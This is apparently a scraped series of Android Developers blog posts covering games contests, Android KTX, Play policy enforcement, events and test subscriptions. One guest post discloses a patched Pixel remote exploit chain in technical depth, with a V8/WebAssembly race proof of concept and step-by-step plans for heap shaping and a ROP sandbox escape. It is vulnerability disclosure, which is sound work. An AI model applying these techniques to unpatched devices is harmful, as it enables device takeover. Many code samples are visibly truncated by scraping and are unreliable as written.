Congratulations to the winners of the Google Play Indie Games Contest  2017 in Europe

Congratulations to the winners of the Google Play Indie Games Contest 2017 in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

We have just wrapped up the second edition of the Google Play Indie Games Contest in Europe! The iconic Saatchi Gallery in London welcomed 20 developers, from 12 countries, who showcased their games to the audience of gamers, industry experts, and journalists.

The finalists’ games were on show to the public, who spent three hours trying out their games and voting for their favourites, alongside the Google Play team. The top 10 finalists were then selected, and went on to pitch their games, and compete for the big prizes in front of our jury.

Please join us in congratulating the winners! They will be bringing home a well-deserved diploma, along with a prize package that will help them reach more gamers worldwide; including premium placement on the Google Play Store, marketing campaigns of up to 100,000 EUR and influencer campaigns of up to 50,000 EUR, the latest Google hardware, tickets to Google I/O, and much more.

It’s really inspiring to see the excitement around this second edition, and great to see the new wave of indie games coming from Europe. We are already looking forward to playing the games that will be developed in 2018!

Check out the main winners and the other finalists on the Google Play Store!


Bury me, my love



A reality-inspired interactive fiction designed for mobile phones. It tells the story of Nour, a Syrian woman trying to reach Europe in hope of a better life.

Runners up

Old Man’s Journey

Broken Rules Interactive Media GmbH


A story game about life’s precious moments, broken dreams, and changed plans.


Bart Bonte


A puzzle game for you! A love letter to a marvelous colour and to the little wonder called touchscreens. Warning: very yellow!

The other games that have made it into top 10 are:

Captain Tom Galactic Traveler



An open world platformer and space exploration game. Embark on an exploratory mission, discover planets, collect oxygen, play with gravity.

I Love Hue


United Kingdom

A minimalist, ambient puzzle game influenced by mindfulness apps and abstract art. Players arrange shuffled mosaics of coloured tiles into perfectly ordered palettes.



Jodeo is a 2D jelly critter. There’s something it’s curious about: what if 3D objects and 2D physics are in the same game? How can 2D objects interact with 3D objects?

Kami 2

State of Play

United Kingdom

The calming yet addictive puzzle game is back! With over 100 handcrafted puzzles, it takes you on a mind-twisting journey that combines logic and problem-solving.




A tile sliding puzzle with a wonderful soundtrack. Mysterious things happen in a ruined room. Doors inside that room lead to different worlds and beautiful landscapes.

No More Buttons

Tommy Søreide Kjær


A hand-drawn platformer where the buttons are part of the environment.

The Big Journey



Designed for kids and adults alike, this a beautiful, casual adventure. Tilt to roll around and explore a beautiful world with Mr. Whiskers.

How useful did you find this blogpost?

Introducing Android KTX: Even Sweeter Kotlin Development for Android

Introducing Android KTX: Even Sweeter Kotlin Development for Android

Posted by Jake Wharton (@JakeWharton), Florina Muntenescu (@FMuntenescu) & James Lau (@jmslau)

Today, we are announcing the preview of Android KTX – a set of extensions designed to make writing Kotlin code for Android more concise, idiomatic, and pleasant. Android KTX provides a nice API layer on top of both Android framework and Support Library to make writing your Kotlin code more natural.

The portion of Android KTX that covers the Android framework is now available in our GitHub repo. We invite you to try it out to give us your feedback and contributions. The other parts of Android KTX that cover the Android Support Library will be available in upcoming Support Library releases.

Let’s take a look at some examples of how Android KTX can help you write more natural and concise Kotlin code.

Code Samples Using Android KTX

String to Uri

Let’s start with this simple example. Normally, you’d call Uri.parse(uriString). Android KTX adds an extension function to the String class that allows you to convert strings to URIs more naturally.

Kotlin with Android KTX

val uri = Uri.parse(myUriString)

val uri = myUriString.toUri()

Edit SharedPreferences

Editing SharedPreferences is a very common use case. The code using Android KTX is slightly shorter and more natural to read and write.

Kotlin with Android KTX
           .putBoolean(key, value)
sharedPreferences.edit { 
    putBoolean(key, value) 


Translating path difference

In the code below, we translate the difference between two paths by 100px.

Kotlin with Android KTX
val pathDifference = Path(myPath1).apply {
   op(myPath2, Path.Op.DIFFERENCE)

val myPaint = Paint()

canvas.apply {
   val checkpoint = save()
   translate(0F, 100F)
   drawPath(pathDifference, myPaint)

val pathDifference = myPath1 - myPath2

canvas.withTranslation(y = 100F) {
   drawPath(pathDifference, myPaint)

Action on View onPreDraw

This example triggers an action with a View’s onPreDraw callback. Without Android KTX, there is quite a bit of code you need to write.

       object : ViewTreeObserver.OnPreDrawListener {
           override fun onPreDraw(): Boolean {
               return true
Kotlin with Android KTX
view.doOnPreDraw { actionToBeTriggered() }

There are many more places where Android KTX can simplify your code. You can read the full API reference documentation on GitHub.

Getting Started

To start using Android KTX in your Android Kotlin projects, add the following to your app module’s build.gradle file:

repositories {

dependencies {
    // Android KTX for framework API
    implementation 'androidx.core:core-ktx:0.1'

Then, after you sync your project, the extensions appear automatically in the IDE’s auto-complete list. Selecting an extension automatically adds the necessary import statement to your file.

Beware that the APIs are likely to change during the preview period. If you decide to use it in your projects, you should expect breaking changes before we reach the stable version.

androidx: Hello World!

You may notice that Android KTX uses package names that begin with androidx. This is a new package name prefix that we will be using in future versions of Android Support Library. We hope the division between android.* and androidx.* makes it more obvious which APIs are bundled with the platform, and which are static libraries for app developers that work across different versions of Android.

What’s Next?

Today’s preview launch is only the beginning. Over the next few months, we will iterate on the API as we incorporate your feedback and contributions. When the API has stabilized and we can commit to API compatibility, we plan to release Android KTX as part of the Android Support Library.

We look forward to building Android KTX together with you. Happy Kotlin-ing!

Android Developer Story: Big Fish Games uses open beta testing to de-risk their game launch

Android Developer Story: Big Fish Games uses open beta testing to de-risk their game launch

Posted by Kacey Fahey, Developer Marketing, Google Play

Based in Seattle, Big Fish Games was founded in 2002. Starting as a game studio, they quickly turned into a major publisher and distributor of casual games. Leading up to the launch of their hit time management game, Cooking Craze, the team ran an open beta on Google Play.

Big Fish Games found that using open beta provided more than 10x the amount of user feedback from around the world, and also gave them access to key metrics and Android Vitals in the Play Console. The ability to monitor game performance metrics pre-launch allowed the team to focus on areas of improvement, which lead to a 21% reduction in crash rate. The larger sample size of beta testers also provided more insights on player behavior and helped achieve a +7% improvement in day 1, day 7, and day 30 retention rates.

You can also learn more pre-launch best practices and strategies to improve performance post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to stay informed.

How useful did you find this blogpost?

How we fought bad apps and malicious developers in 2017

How we fought bad apps and malicious developers in 2017

Posted by Andrew Ahn, Product Manager, Google Play

Apps bring devices to life — letting you book a ride instantly, connect and share memories with friends, be alerted about current events, play games with someone across the globe, and get work done in the office or on the road. Google Play is committed to providing a safe experience for billions of Android users to find and discover such apps. Over the years, this commitment has made Google Play a more trusted and safer place. Last year we’ve more than halved the probability of a user installing a bad app, protecting people and their devices from harm’s way, and making Google Play a more challenging place for those who seek to abuse the app ecosystem for their own gain.

In 2017, we took down more than 700,000 apps that violated the Google Play policies, 70% more than the apps taken down in 2016. Not only did we remove more bad apps, we were able to identify and action against them earlier. In fact, 99% of apps with abusive contents were identified and rejected before anyone could install them. This was possible through significant improvements in our ability to detect abuse – such as impersonation, inappropriate content, or malware – through new machine learning models and techniques.

We’ve also developed new detection models and techniques that can identify repeat offenders and abusive developer networks at scale. This resulted in taking down of 100,000 bad developers in 2017, and made it more difficult for bad actors to create new accounts and attempt to publish yet another set of bad apps.

Here are a few examples of bad apps we took action against in 2017:


Attempting to deceive users by impersonating famous apps is one of the most common violations. Famous titles get a lot of search traffic for particular keywords, so the bad actors try to amass installs leveraging such traffic. They do this by trying to sneak in impersonating apps to the Play Store through deceptive methods such as using confusable unicode characters or hiding impersonating app icons in a different locale. In 2017, we took down more than a quarter of a million of impersonating apps.

Inappropriate content

We don’t allow apps that contain or promote inappropriate content, such as pornography, extreme violence, hate, and illegal activities. The improved machine learning models sift through massive amounts of incoming app submissions and flag them for potential violations, aiding the human reviewers in effectively detecting and enforcing on the problematic apps. Tens of thousands of apps with inappropriate content were taken down last year as a result of such improved detection methods.

Potentially Harmful Applications (PHAs)

PHAs are a type of malware that can harm people or their devices — e.g., apps that conduct SMS fraud, act as trojans, or phishing user’s information. While small in volume, PHAs pose a threat to Android users and we invest heavily in keeping them out of the Play Store. Finding these bad apps is non-trivial as the malicious developers go the extra mile to make their app look as legitimate as possible, but with the launch of Google Play Protect in 2017, the average annual PHA installs rates on Google Play was reduced by 50 percent year over year.

Despite the new and enhanced detection capabilities that led to a record-high takedowns of bad apps and malicious developers, we know a few still manage to evade and trick our layers of defense. We take these extremely seriously, and will continue to innovate our capabilities to better detect and protect against abusive apps and the malicious actors behind them. We are committed to make Google Play the most trusted and safe app store in the world.

How useful did you find this blogpost?

Posted in Uncategorized
Join us for Google Developer Day at GDC 2018

Join us for Google Developer Day at GDC 2018

Posted by Kacey Fahey, Developer Marketing, Google Play

We’re hosting another Google Developer Day at this year’s Game Developers Conference (GDC) on Monday, March 19th.

Join us for a full day, where we’ll kick things off with a keynote to share our latest news for game developers, followed by three sessions focused on innovation & new platforms, pre-launch best practices, and strategies to improve performance post-launch. Each session will include mini-talks from different Google teams and developer partners sharing new tools, learnings and more.

We’ll also have a booth in Moscone South, Wednesday (March 21) through Friday (March 23), offering three days of additional talks from many Google teams and a chance for you to ask the experts any of your questions. Stop by to hear talks, meet experts, and try out exciting demos. These events are part of the official Game Developers Conference and require a pass to attend.

Learn more about Google’s activities throughout the week on our event site where you can sign up to stay informed. For those who can’t make it in person, join the live stream starting at 10am PST on Monday, March 19th.

How useful did you find this blogpost?

Android Security Ecosystem Investments Pay Dividends for Pixel

Android Security Ecosystem Investments Pay Dividends for Pixel

Posted by Mayank Jain and Scott Roberts of the Android Security team

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program’s expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.

The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you’d like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.

The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.

This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android’s libgralloc module that is used to escape from Chrome’s sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.

The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  return i::wasm::ModuleWireBytes(start, start + length);

A simple PoC is as follows:

<script id="worker1">
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(;
        var i =0;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
    return sta;    
var blob = new Blob([
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);


The text format of the WebAssembly code is as follows:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread’s bound check, the instruction ” call 0″ can be modified by the worker thread to “call 128” and then be parsed and compiled by the main thread, so an OOB access occurs.

Because the “call 0” Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If “call 0” is modified to “call $leak”, registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.const 4
    get_local 1
    i32.const 8
    get_local 2
    i32.const 12
    get_local 3
    i32.const 16
    get_local 4
    i32.const 20
    get_local 5
    i32.const 0

Not only the instruction “call 0” can be modified, any “call funcx” instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4

/*Disassembly code of funcx*/
--- Code ---
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If “call funcx” is modified to call the following JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         

/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer’s properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.

Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
    return err;

gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome’s sandboxed process, so it’s possible to unmap any pages in system_server from Chrome’s sandboxed render process.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
            return -errno;
        hnd->base = 0;
    return 0;

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    return err;

Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

To trigger the aforementioned Use-After-Unmap bug from Chrome’s sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.

This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome’s Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 

To exploit this EoP bug:

1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)

2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3. Fill the unmapped space with an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4. Spray the heap and the heap data will be written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome’s render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module’s base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven’t been used. It’s impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .


The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.

Meet the finalists of the Google Play Indie Games Contest in Europe

Meet the finalists of the Google Play Indie Games Contest in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

Back in October we launched the 2nd edition of the Google Play Indie
Games Contest in Europe
, with the aim to identify, showcase and reward indie
gaming talent from more than 30 countries. We were amazed by the innovation and
creativity that indie developers from the region have to offer.

Selecting just 20 finalists has once again been a huge challenge. We had a lot
of fun playing the games that will go on to showcase at the Saatchi
on February 13th in London. Without further ado, we are happy
to announce the Top 20 finalists of this year’s edition. Congratulations to the
finalists and thanks to everyone else who has entered the contest.

Planet of Mine

Tuesday Quest


Constructor Portal

ClockStone Softwareentwicklung GmbH


me, my Love



Tom Galactic Traveler








United Kingdom




Love Hue


United Kingdom




State of Play

United Kingdom




More Buttons

Tommy Søreide Kjær


Man’s Journey

Broken Rules Interactive Media GmbH


Radium 2 | Ra²



Big Journey



House of Da Vinci

Blue Brain Games, s.r.o.


Office Quest







Andriy Bychkovskyi



Bart Bonte


Check out the prizes

All the 20 finalists are getting:

  • A paid trip to London to showcase their game at the Final held at Saatchi
  • Inclusion of their game on a promotional billboard in London for 1 month
  • Inclusion of their game in a dedicated Indie Games Contest collection on the
    Indie Corner for one month in more than 40 countries across EMEA
  • Two (2) tickets to attend a 2018 Playtime event, an invitation-only event
    for top apps and games developers on Google Play
  • One (1) Pixel 2 device

They will also have the chance to win more
at the final event.

Join the Google Play team and the finalists at the final event:

Anyone can now register
to attend the final
showcase event
for free at the Saatchi Gallery in London on 13
February 2018
. Come and play some great games and have fun with indie
developers, industry experts, and the Google Play team.

How useful did you find this blogpost?

Faster Renewals for Test Subscriptions

Faster Renewals for Test Subscriptions

Testing your in-app subscriptions is a critical step in ensuring you’re offering
your customers a high quality service.

In order to make testing easier and faster, starting on February
, we are introducing shorter renewal intervals for test purchases
made with license-test accounts. Currently, subscriptions by license-test
accounts renew daily. The new changes will allow you to test an entire
subscription cycle, including 6 renewals, in under an hour. We will also be
shortening the testing time intervals of features such as grace period and
account hold.

Please be aware that these changes are coming so you can update your testing
flows accordingly prior to the change. Also note that existing test
subscriptions still active on February 20, 2018 will automatically be canceled
at that time.

Renewal times

Renewal times will vary based on the subscription period:

Subscription period Test subscription period
1 week 5 minutes
1 month 5 minutes
3 month 10 minutes
6 month 15 minutes
1 year 30 minutes

Time intervals of the following features will also be shortened for test

Feature Test period
Free trial 3 minutes
Introductory price period Same as test subscription period
Grace period (both 3 and 7 day) 5 minutes
Account hold 10 minutes

Note: These times are approximate; you may see some small
variations in the precise time of an event. To compensate for variation, call
the Google
Play Developer API
to view current status after every subscription
expiration date.

Renewal limit

Due to the increase in renewal frequency, the number of renewals is limited to 6
regular renewals (not including intro price/free trial). After 6 renewals, the
subscription will be automatically canceled.


Here are several examples of how the new renewal times are applied.

Free trial

Grace period

Account hold

Don’t forget to check the Testing
In-app Billing
page for more details on testing your subscriptions. If you
still have questions, reach out through the comments or post your question on Stackoverflow using the tag google-play.

Posted in Uncategorized
Android Excellence: Congratulations to the newly added apps and games

Android Excellence: Congratulations to the newly added apps and games

Posted by Kacey Fahey, Developer Marketing, Google Play

Kicking off the new year, we’re excited to welcome our latest group of Android Excellence apps and games. These awardees represent some of the best experiences and top performing apps and games on the Play Store and can be found with other great selections on the Editors’ Choice page.

If you’re looking for some new apps, below are a few highlights.

  • EyeEm: A great photo editor app with a full suite of filters and tools to make your pictures shine. Learn style tips from their community and even sell your images through the EyeEm marketplace.
